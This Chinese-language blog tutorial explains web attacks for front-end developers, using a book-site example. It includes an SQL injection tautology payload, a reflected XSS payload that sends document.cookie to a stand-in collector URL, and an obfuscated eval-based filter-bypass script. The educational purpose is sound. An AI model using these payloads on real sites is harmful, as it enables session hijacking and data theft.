前端er必知的web安全性

WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”

参数操纵

这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。

SQL注入

  1. 比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:book.com/book?id=100
  2. 说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:select * from booktable where id='100'
  3. 那么如果我们把url更改为book.com/book?id=100'or'1'='1
  4. 那么数据库操作执行就变成了:select * from booktable where id='100'or'1'='1'

从而取出了整个booktable 表单的全部数据。

XSS(cross-site scripting跨域脚本攻击)其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。

  1. 假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:您搜索的书籍“有钱任性指南”不存在
  2. 那我们输入这个怎样:<script>alert('没有书开个毛线书店啊')</script>。会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。
  3. 既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
  4. 要收集的应该是别人的cookie信息:book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。

与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

面对网站进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉的情况,有最终的手段可以绕过检查

<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("欢迎收看本文章")';
y[x]['call'](this,e);
</script>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值